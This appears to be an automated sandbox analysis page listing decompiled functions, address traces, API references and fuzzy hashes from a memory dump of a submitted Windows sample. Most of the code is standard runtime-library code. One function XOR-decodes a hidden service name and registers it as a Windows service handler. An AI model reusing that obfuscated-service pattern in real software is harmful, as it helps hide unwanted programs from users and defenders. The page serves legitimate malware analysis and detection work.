0x009adabd
0x009adac0
0x009adac3
0x009adac6
0x009adac9
0x009adace
0x009adae4
0x00000000
0x009adad0
0x009adad0
0x009adad2
0x009adad7
0x009adad9
0x009adadc
0x009adade
0x009adaf4
0x009adb14
0x009adb14
0x009adb18
0x00000000
0x009adae0
0x009adae0
0x009adb2a
0x009adb2d
0x009adb33
0x009adb35
0x009adb3c
0x009adb43
0x009adb48
0x009adb4b
0x009adb4d
0x009adb4f
0x009adb5c
0x009adb62
0x009adb64
0x009adb67
0x009adb67
0x009adb6a
0x009adb6a
0x009adb3c
0x009adb70
0x009adb72
0x009adb77
0x009adb7a
0x009adb7d
0x009adb85
0x009adb89
0x009adb8e
0x009adb8e
0x009adb91
0x009adb95
0x009adb98
0x009adba8
0x009adbad
0x009adbae
0x009adbaf
0x009adbb0
0x009adbb4
0x009adbbb
0x009adbbf
0x009adbc1
0x009add03
0x009add09
0x009adbc7
0x009adbc7
0x009adbcd
0x009adbd0
0x009adcb5
0x009adcb5
0x009adcbb
0x009adcbd
0x009adcbf
0x009adcc0
0x009adcc3
0x009adcc3
0x009adccb
0x009adcd1
0x009adcd3
0x009adcd5
0x009adcd8
0x009adcd8
0x009adcd8
0x009adcdb
0x009adce1
0x009adcf0
0x009adcf2
0x009adcf5
0x009adcf8
0x009adcfb
0x009adcfb
0x00000000
0x009adbd6
0x009adbd6
0x009adbdc
0x009adc6d
0x009adc6d
0x009adc75
0x00000000
0x009adc77
0x009adc77
0x009adc7b
0x00000000
0x009adc7b
0x009adbe2
0x009adbe2
0x009adbea
0x009adbf5
0x009adbfd
0x00000000
0x009adc03
0x009adc03
0x009adc07
0x009adc0c
0x009adc0e
0x009adc14
0x009adc17
0x009adc19
0x009adc1f
0x00000000
0x009adc30
0x009adc30
0x009adc30
0x009adc34
0x009adc39
0x009adc3e
0x009adc43
0x009adc48
0x009adc4d
0x009adc52
0x009adc57
0x009adc5d
0x009adc63
0x009adc63
0x009adc80
0x009adc80
0x009adc83
0x009adca1
0x009adca5
0x009adca9
0x009adcb4
0x009adc85
0x009adc85
0x009adc85
0x009adc89
0x009adc8e
0x009adc91
0x009adc94
0x009adc94
0x009adc99
0x009adc9f
0x00000000
0x00000000
0x00000000
0x00000000
0x009adc9f
0x009adc83
0x009adc1f
0x009adbec
0x009adbec
0x009adbf4
0x009adbf4
0x009adbea
0x009adbdc
0x009adbd0
0x009adae2
0x00000000
0x009adae2
0x009adae0
0x009adade
0x00000000
0x009adae7
0x009adae7
0x009adae9
0x009adaf0
0x00000000
0x009adaf2
0x00000000
0x009adaf0
0x009adab5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 009ADA87
___except_validate_context_record.LIBVCRUNTIME ref: 009ADA8F
_ValidateLocalCookies.LIBCMT ref: 009ADB18
__IsNonwritableInCurrentImage.LIBCMT ref: 009ADB43
_ValidateLocalCookies.LIBCMT ref: 009ADB98

Strings

csm, xrefs: 009ADB2D

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4fdfe95428647bb7b1f6d49d3e526847b485556c74160daabd77b3024d6e6026
Instruction ID: 5ca60178f76c4c16c9d70b0f6f15d867a2f7e9d3435b21b89b5b2b18602247c1
Opcode Fuzzy Hash: 4fdfe95428647bb7b1f6d49d3e526847b485556c74160daabd77b3024d6e6026
Instruction Fuzzy Hash: 6341C234E052099FCF10DF68C884A9EBBB4AF86314F148495E8165B792D771EA05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00980E70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00980E70() {
				intOrPtr _v8;
				signed int _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char* _v68;
				char* _v72;
				intOrPtr _v80;
				char _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v108;
				void* __ebx;
				signed int _t40;
				int _t50;
				int _t53;
				signed int _t64;
				signed int _t66;
				int _t77;
				void* _t78;
				void* _t79;
				void* _t84;

				_t56 = _t84;
				_v8 =  *((intOrPtr*)(_t84 + 4));
				_t82 = (_t84 - 0x00000008 & 0xfffffff0) + 4;
				_t40 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t40 ^ (_t84 - 0x00000008 & 0xfffffff0) + 0x00000004;
				 *0x9d3574 = 0x30;
				 *0x9d3578 = 1;
				 *0x9d357c = 0;
				 *0x9d3580 = 0;
				 *0x9d3584 = 0;
				 *0x9d3588 = 0;
				 *0x9d358c = 0;
				_v45 = 0;
				_v46 = 0;
				_v47 = 0;
				_v52 = _v45;
				_v56 = _v46;
				_v60 = _v47;
				_v84 = 0x195f0e65;
				_v80 = 0xe506705f;
				_v108 = _v84;
				_v104 = _v80;
				_v92 = 0xe5969d4e;
				_v88 = 0xc7f6786c;
				_v100 = _v92;
				_v96 = _v88;
				_v68 =  &_v108;
				_v44 = 0x7c286135;
				_v40 = 0x8b69332d;
				_v36 = 0x89f9ef3a;
				_v32 = 0xc7f6786c;
				_v48 = 0;
				_v64 = _v48;
				asm("movaps xmm0, [ebp-0x20]");
				asm("movaps [ebp-0x80], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0x70], xmm0");
				asm("movaps xmm0, [ebp-0x70]");
				asm("pxor xmm0, [ebp-0x80]");
				asm("movaps [ebp-0x90], xmm0");
				asm("movaps xmm0, [ebp-0x90]");
				asm("movups [eax], xmm0");
				_v72 = _v68;
				_t76 = _v72;
				 *0x9d3570 = RegisterServiceCtrlHandlerA(_v72, E00980E50);
				if( *0x9d3570 != 0) {
					 *0x9d3578 = 2;
					_t50 =  *0x9d3570; // 0x0
					SetServiceStatus(_t50, 0x9d3574);
					_t64 =  *0x9d357c; // 0x0
					 *0x9d357c = _t64 | 0x00000005;
					 *0x9d3578 = 4;
					_t77 =  *0x9d3570; // 0x0
					SetServiceStatus(_t77, 0x9d3574);
					 *0x9d3578 = 3;
					_t53 =  *0x9d3570; // 0x0
					SetServiceStatus(_t53, 0x9d3574);
					_t66 =  *0x9d357c; // 0x0
					 *0x9d357c = _t66 & 0xfffffffa;
					 *0x9d3578 = 1;
					_t76 =  *0x9d3570; // 0x0
					_t49 = SetServiceStatus(_t76, 0x9d3574);
				}
				return E009AC2E8(_t49, _t56, _v16 ^ _t82, _t76, _t78, _t79);
			}

0x00980e71
0x00980e80
0x00980e84
0x00980e8c
0x00980e93
0x00980e96
0x00980ea0
0x00980eaa
0x00980eb4
0x00980ebe
0x00980ec8
0x00980ed2
0x00980ede
0x00980ee3
0x00980ee8
0x00980eee
0x00980ef4
0x00980efa
0x00980f02
0x00980f09
0x00980f12
0x00980f15
0x00980f1d
0x00980f24
0x00980f2d
0x00980f30
0x00980f36
0x00980f3e
0x00980f45
0x00980f4d
0x00980f54
0x00980f59
0x00980f5f
0x00980f62
0x00980f66
0x00980f6d
0x00980f70
0x00980f74
0x00980f78
0x00980f7d
0x00980f84
0x00980f8e
0x00980f94
0x00980f9c
0x00980fa6
0x00980fb2
0x00980fb9
0x00980fc8
0x00980fce
0x00980fd4
0x00980fdd
0x00980fe3
0x00980ff2
0x00980ff9
0x00980fff
0x0098100e
0x00981014
0x0098101a
0x00981023
0x00981029
0x00981038
0x0098103f
0x0098103f
0x00981055

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(?,Function_00010E50), ref: 00980FA0
SetServiceStatus.ADVAPI32(00000000,009D3574), ref: 00980FCE
SetServiceStatus.ADVAPI32(00000000,009D3574), ref: 00980FF9
SetServiceStatus.ADVAPI32(00000000,009D3574), ref: 00981014
SetServiceStatus.ADVAPI32(00000000,009D3574), ref: 0098103F

Strings

5a(|, xrefs: 00980F3E

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Service$Status$CtrlHandlerRegister
String ID: 5a(|
API String ID: 1836899780-2873812261
Opcode ID: 3bf9716ff48ed23bda73d30957dc787f3abe30f90959b3e29fa7e069e4750468
Instruction ID: 68745cbf503ad18dcbbdf909b0f20d109c2b9d72c479f84fb3b9dfb916c68849
Opcode Fuzzy Hash: 3bf9716ff48ed23bda73d30957dc787f3abe30f90959b3e29fa7e069e4750468
Instruction Fuzzy Hash: 1E518BB8D5A2489FDB01CFB8E8856DDBBB0BF49305F14C21AE848A7361D7305A85EF51

Uniqueness

Uniqueness Score: -1.00%

Function 009B8082 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E009B8082(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x9d30c8 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x9c9790 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x9d30c8 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x9d30c8 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E009B6B78(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E009B6B78(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x009b808b
0x009b8120
0x009b8093
0x009b8095
0x009b809f
0x009b80a4
0x009b80b1
0x009b80c6
0x009b80ca
0x009b8130
0x009b8135
0x009b813c
0x009b8140
0x009b8143
0x009b8143
0x009b8149
0x009b8149
0x009b812b
0x009b812f
0x009b812f
0x009b80cc
0x009b80d5
0x009b810e
0x009b811b
0x009b811d
0x009b811d
0x00000000
0x009b811d
0x009b80df
0x009b80e4
0x009b80e9
0x00000000
0x00000000
0x009b80f3
0x009b80f8
0x009b80fd
0x00000000
0x00000000
0x009b8102
0x009b8108
0x009b810c
0x00000000
0x00000000
0x00000000
0x009b810c
0x009b80a9
0x00000000
0x00000000
0x00000000
0x009b80af
0x009b8129
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,9FEF24BF,?,009B818F,00000000,00000000,00000000,00000000), ref: 009B8143

Strings

api-ms-, xrefs: 009B80D9
ext-ms-, xrefs: 009B80ED

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 704e7782353f6cd273cdc0aaacfd429050ea5542c956c7913bfc5fcfd2467fbf
Instruction ID: cc44f49afa46e2d8572fb2810434f00c8e70d894113ee2387c04158583950035
Opcode Fuzzy Hash: 704e7782353f6cd273cdc0aaacfd429050ea5542c956c7913bfc5fcfd2467fbf
Instruction Fuzzy Hash: DF212431A1E210ABCB219B69DE44EEB73ACEB497B4F240124E805A7290DE30ED01DAD0

Uniqueness

Uniqueness Score: -1.00%

Function 009C0121 Relevance: 9.3, APIs: 6, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E009C0121(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				signed int _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _v28;
				char _v32;
				void* _v36;
				long _v40;
				signed int* _t132;
				signed int _t134;
				signed int _t135;
				long _t138;
				signed int _t141;
				signed int _t143;
				signed char _t145;
				intOrPtr _t153;
				long _t155;
				signed int _t156;
				signed int _t157;
				signed int _t159;
				long _t160;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t168;
				signed int _t170;
				signed int _t172;
				char _t174;
				char _t179;
				char _t184;
				signed char _t191;
				long _t197;
				signed int _t200;
				intOrPtr _t203;
				long _t204;
				signed int _t205;
				unsigned int _t208;
				signed int _t210;
				signed int _t216;
				signed char _t217;
				long _t218;
				long _t219;
				void* _t220;
				signed int _t221;
				char* _t223;
				char* _t224;
				char* _t225;
				signed int _t230;
				signed int _t231;
				void* _t235;
				void* _t237;
				void* _t238;
				void* _t239;

				_t200 = _a4;
				_t238 = _t237 - 0x24;
				if(_t200 != 0xfffffffe) {
					__eflags = _t200;
					if(_t200 < 0) {
						L60:
						_t132 = E009B3889();
						 *_t132 =  *_t132 & 0x00000000;
						__eflags =  *_t132;
						 *((intOrPtr*)(E009B389C())) = 9;
						L61:
						_t134 = E009AF92E();
						goto L62;
					}
					__eflags = _t200 -  *0x9d33b8; // 0x40
					if(__eflags >= 0) {
						goto L60;
					}
					_t216 = _t200 >> 6;
					_t230 = (_t200 & 0x0000003f) * 0x38;
					_v12 = _t216;
					_v32 = 1;
					_t138 =  *((intOrPtr*)(0x9d31b8 + _t216 * 4));
					_v24 = _t138;
					_v20 = _t230;
					_t217 =  *((intOrPtr*)(_t138 + _t230 + 0x28));
					_v5 = _t217;
					__eflags = 1 & _t217;
					if((1 & _t217) == 0) {
						goto L60;
					}
					_t218 = _a12;
					__eflags = _t218 - 0x7fffffff;
					if(_t218 <= 0x7fffffff) {
						__eflags = _t218;
						if(_t218 == 0) {
							L59:
							_t135 = 0;
							goto L63;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L59;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t141 =  *((intOrPtr*)(_t138 + _t230 + 0x29));
						_v5 = _t141;
						_v28 =  *((intOrPtr*)(_t138 + _t230 + 0x18));
						_t235 = 0;
						_t143 = _t141 - 1;
						__eflags = _t143;
						if(_t143 == 0) {
							_t145 =  !_t218;
							__eflags = 1 & _t145;
							if((1 & _t145) == 0) {
								L14:
								 *(E009B3889()) =  *_t146 & _t235;
								 *((intOrPtr*)(E009B389C())) = 0x16;
								E009AF92E();
								goto L40;
							} else {
								_t219 = _t218 >> 1;
								_t197 = 4;
								__eflags = _t219 - 1;
								if(_t219 >= 1) {
									_t197 = _t219;
								}
								_t235 = E009B7F6A(_t197);
								E009B7A11(0);
								E009B7A11(0);
								_t239 = _t238 + 0xc;
								_v16 = _t235;
								__eflags = _t235;
								if(_t235 != 0) {
									_t153 = E009BFBCB(_t219, _a4, 0, 0, 1);
									_t238 = _t239 + 0x10;
									_t203 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4));
									 *((intOrPtr*)(_t230 + _t203 + 0x20)) = _t153;
									 *(_t230 + _t203 + 0x24) = _t219;
									_t220 = _t235;
									_t155 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4));
									L22:
									_v24 = _t155;
									L23:
									_t204 = _v24;
									_t230 = 0;
									_t156 = _v20;
									_v36 = _t220;
									__eflags =  *(_t156 + _t204 + 0x28) & 0x00000048;
									_t205 = _a4;
									if(( *(_t156 + _t204 + 0x28) & 0x00000048) != 0) {
										_t56 = _v24 + 0x2a; // 0x10c483c2
										_t174 =  *((intOrPtr*)(_t156 + _t56));
										_t223 = _v16;
										__eflags = _t174 - 0xa;
										if(_t174 != 0xa) {
											__eflags = _t197;
											if(_t197 != 0) {
												_t230 = 1;
												 *_t223 = _t174;
												_t224 = _t223 + 1;
												_t197 = _t197 - 1;
												__eflags = _v5;
												_v16 = _t224;
												 *((char*)(_v20 +  *((intOrPtr*)(0x9d31b8 + _v12 * 4)) + 0x2a)) = 0xa;
												_t205 = _a4;
												if(_v5 != 0) {
													_t72 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4)) + 0x2b; // 0x8310c483
													_t179 =  *((intOrPtr*)(_v20 + _t72));
													_t205 = _a4;
													__eflags = _t179 - 0xa;
													if(_t179 != 0xa) {
														__eflags = _t197;
														if(_t197 != 0) {
															 *_t224 = _t179;
															_t225 = _t224 + 1;
															_t197 = _t197 - 1;
															__eflags = _v5 - 1;
															_v16 = _t225;
															_t230 = 2;
															 *((char*)(_v20 +  *((intOrPtr*)(0x9d31b8 + _v12 * 4)) + 0x2b)) = 0xa;
															_t205 = _a4;
															if(_v5 == 1) {
																_t88 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4)) + 0x2c; // 0xf88310c4
																_t184 =  *((intOrPtr*)(_v20 + _t88));
																_t205 = _a4;
																__eflags = _t184 - 0xa;
																if(_t184 != 0xa) {
																	__eflags = _t197;
																	if(_t197 != 0) {
																		 *_t225 = _t184;
																		_t197 = _t197 - 1;
																		__eflags = _t197;
																		_v16 = _t225 + 1;
																		_t230 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x9d31b8 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t157 = E009BF98C(_t205);
									__eflags = _t157;
									if(_t157 == 0) {
										L43:
										_v32 = 0;
										L44:
										_t198 = _v16;
										_t159 = ReadFile(_v28, _v16, _t197,  &_v24, 0);
										__eflags = _t159;
										if(_t159 == 0) {
											L55:
											_t160 = GetLastError();
											_t230 = 5;
											__eflags = _t160 - _t230;
											if(_t160 != _t230) {
												__eflags = _t160 - 0x6d;
												if(_t160 != 0x6d) {
													L39:
													E009B3842(_t160);
													goto L40;
												}
												_t231 = 0;
												goto L41;
											}
											 *((intOrPtr*)(E009B389C())) = 9;
											 *(E009B3889()) = _t230;
											goto L40;
										}
										_t208 = _a12;
										__eflags = _v24 - _t208;
										if(_v24 > _t208) {
											goto L55;
										}
										_t231 = _t230 + _v24;
										__eflags = _t231;
										L47:
										_t221 = _v20;
										_t165 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4));
										__eflags =  *((char*)(_t221 + _t165 + 0x28));
										if( *((char*)(_t221 + _t165 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v32;
												_push(_t231 >> 1);
												_push(_v36);
												_push(_a4);
												if(_v32 == 0) {
													_t166 = E009BFDA7();
												} else {
													_t166 = E009C00A6();
												}
											} else {
												_t209 = _t208 >> 1;
												__eflags = _t208 >> 1;
												_t166 = E009BFF4F(_t208 >> 1, _t208 >> 1, _a4, _t198, _t231, _a8, _t209);
											}
											_t231 = _t166;
										}
										goto L41;
									}
									_t210 = _v20;
									_t168 =  *((intOrPtr*)(0x9d31b8 + _v12 * 4));
									__eflags =  *((char*)(_t210 + _t168 + 0x28));
									if( *((char*)(_t210 + _t168 + 0x28)) >= 0) {
										goto L43;
									}
									_t170 = GetConsoleMode(_v28,  &_v40);
									__eflags = _t170;
									if(_t170 == 0) {
										goto L43;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L44;
									}
									_t198 = _v16;
									_t172 = ReadConsoleW(_v28, _v16, _t197 >> 1,  &_v24, 0);
									__eflags = _t172;
									if(_t172 != 0) {
										_t208 = _a12;
										_t231 = _t230 + _v24 * 2;
										goto L47;
									}
									_t160 = GetLastError();
									goto L39;
								} else {
									 *((intOrPtr*)(E009B389C())) = 0xc;
									 *(E009B3889()) = 8;
									L40:
									_t231 = _t230 | 0xffffffff;
									__eflags = _t231;
									L41:
									E009B7A11(_t235);
									_t135 = _t231;
									goto L63;
								}
							}
						}
						__eflags = _t143 == 1;
						if(_t143 == 1) {
							_t191 =  !_t218;
							__eflags = 1 & _t191;
							if((1 & _t191) != 0) {
								_t155 = _v24;
								_t197 = _t218;
								_t220 = _a8;
								_v16 = _t220;
								goto L22;
							}
							goto L14;
						} else {
							_t197 = _t218;
							_t220 = _a8;
							_v16 = _t220;
							goto L23;
						}
					}
					L6:
					 *(E009B3889()) =  *_t139 & 0x00000000;
					 *((intOrPtr*)(E009B389C())) = 0x16;
					goto L61;
				} else {
					 *(E009B3889()) =  *_t192 & 0x00000000;
					_t134 = E009B389C();
					 *_t134 = 9;
					L62:
					_t135 = _t134 | 0xffffffff;
					L63:
					return _t135;
				}
			}

0x009c0126
0x009c0129
0x009c0131
0x009c014b
0x009c014d
0x009c04a1
0x009c04a1
0x009c04a6
0x009c04a6
0x009c04ae
0x009c04b4
0x009c04b4
0x00000000
0x009c04b4
0x009c0153
0x009c0159
0x00000000
0x00000000
0x009c0163
0x009c0169
0x009c016e
0x009c0172
0x009c0175
0x009c017c
0x009c017f
0x009c0182
0x009c0186
0x009c0189
0x009c018b
0x00000000
0x00000000
0x009c0191
0x009c0194
0x009c019a
0x009c01b4
0x009c01b6
0x009c049d
0x009c049d
0x00000000
0x009c049d
0x009c01bc
0x009c01c0
0x00000000
0x00000000
0x009c01c6
0x009c01ca
0x00000000
0x00000000
0x009c01d1
0x009c01d5
0x009c01d8
0x009c01db
0x009c01e0
0x009c01e0
0x009c01e3
0x009c022a
0x009c022c
0x009c022e
0x009c01ff
0x009c0204
0x009c020b
0x009c0211
0x00000000
0x009c0230
0x009c0232
0x009c0234
0x009c0235
0x009c0237
0x009c0239
0x009c0239
0x009c0243
0x009c0245
0x009c024c
0x009c0251
0x009c0254
0x009c0257
0x009c0259
0x009c027f
0x009c0287
0x009c028a
0x009c0291
0x009c0298
0x009c029c
0x009c029e
0x009c02a5
0x009c02a5
0x009c02a8
0x009c02a8
0x009c02ab
0x009c02ad
0x009c02b0
0x009c02b3
0x009c02b8
0x009c02bb
0x009c02c4
0x009c02c4
0x009c02c8
0x009c02cb
0x009c02cd
0x009c02d3
0x009c02d5
0x009c02de
0x009c02df
0x009c02e1
0x009c02e5
0x009c02e6
0x009c02ea
0x009c02f4
0x009c02f9
0x009c02fc
0x009c030b
0x009c030b
0x009c030f
0x009c0312
0x009c0314
0x009c0316
0x009c0318
0x009c031d
0x009c031f
0x009c0323
0x009c0324
0x009c032a
0x009c0334
0x009c0335
0x009c033a
0x009c033d
0x009c034c
0x009c034c
0x009c0350
0x009c0353
0x009c0355
0x009c0357
0x009c0359
0x009c035b
0x009c0361
0x009c0361
0x009c0362
0x009c0371
0x009c0372
0x009c0372
0x009c0359
0x009c0355
0x009c033d
0x009c0318
0x009c0314
0x009c02fc
0x009c02d5
0x009c02cd
0x009c0378
0x009c037e
0x009c0380
0x009c03f1
0x009c03f1
0x009c03f5
0x009c03fc
0x009c0403
0x009c0409
0x009c040b
0x009c0469
0x009c0469
0x009c0471
0x009c0472
0x009c0474
0x009c048d
0x009c0490
0x009c03cd
0x009c03ce
0x00000000
0x009c03d3
0x009c0496
0x00000000
0x009c0496
0x009c047b
0x009c0486
0x00000000
0x009c0486
0x009c040d
0x009c0410
0x009c0413
0x00000000
0x00000000
0x009c0415
0x009c0415
0x009c0418
0x009c041b
0x009c041e
0x009c0425
0x009c042a
0x009c042c
0x009c0430
0x009c044b
0x009c044f
0x009c0450
0x009c0453
0x009c0456
0x009c0462
0x009c0458
0x009c0458
0x009c0458
0x009c0432
0x009c0432
0x009c0432
0x009c043d
0x009c0442
0x009c0445
0x009c0445
0x00000000
0x009c042a
0x009c0385
0x009c0388
0x009c038f
0x009c0394
0x00000000
0x00000000
0x009c039d
0x009c03a3
0x009c03a5
0x00000000
0x00000000
0x009c03a7
0x009c03ab
0x00000000
0x00000000
0x009c03b6
0x009c03bd
0x009c03c3
0x009c03c5
0x009c03e9
0x009c03ec
0x00000000
0x009c03ec
0x009c03c7
0x00000000
0x009c025b
0x009c0260
0x009c026b
0x009c03d4
0x009c03d4
0x009c03d4
0x009c03d7
0x009c03d8
0x009c03de
0x00000000
0x009c03e0
0x009c0259
0x009c022e
0x009c01e5
0x009c01e8
0x009c01f9
0x009c01fb
0x009c01fd
0x009c021b
0x009c021e
0x009c0220
0x009c0223
0x00000000
0x009c0223
0x00000000
0x009c01ea
0x009c01ea
0x009c01ec
0x009c01ef
0x00000000
0x009c01ef
0x009c01e8
0x009c019c
0x009c01a1
0x009c01a9
0x00000000
0x009c0133
0x009c0138
0x009c013b
0x009c0140
0x009c04b9
0x009c04b9
0x009c04bc
0x009c04bf
0x009c04bf

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e3e048d78efc38c09eb4e7336f18e0ab7ae9e2e01b1c239c516626a854bc8e
Instruction ID: 61445fbc60a7771fc726eead046ba52b244db59291d9b5aa3ca20e300be36006
Opcode Fuzzy Hash: 19e3e048d78efc38c09eb4e7336f18e0ab7ae9e2e01b1c239c516626a854bc8e
Instruction Fuzzy Hash: BEB1C370E08289EFDB05DF99C884FAEBBB5AFC5310F14815DE500AB292D7749E41CB62

Uniqueness

Uniqueness Score: -1.00%

Function 009ADD70 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E009ADD70(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x9d2020 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E009AEF30(_t13, __eflags,  *0x9d2020);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E009AEF6B(_t14, __eflags,  *0x9d2020, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E009B6AE8();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E009AEF6B(_t18, __eflags,  *0x9d2020, 0);
								} else {
									_t8 = E009AEF6B(_t18, __eflags,  *0x9d2020, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E009B544B(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x009add70
0x009add77
0x009add8a
0x009add91
0x009add93
0x009add94
0x009add97
0x009addb0
0x009addb0
0x009add99
0x009add99
0x009add9b
0x009adda5
0x009addac
0x009addae
0x009addb5
0x009addbe
0x009addc1
0x009addc2
0x009addc4
0x009addd8
0x009addd8
0x009adde1
0x009addc6
0x009addcd
0x009addd3
0x009addd4
0x009addd6
0x009addea
0x009addec
0x009addec
0x00000000
0x00000000
0x00000000
0x009addd6
0x009addef
0x00000000
0x00000000
0x00000000
0x009addae
0x009add9b
0x009addf7
0x009ade01
0x009add79
0x009add7b
0x009add7b

APIs

GetLastError.KERNEL32(?,?,009ADD67,009AD5B2,009ACE00), ref: 009ADD7E
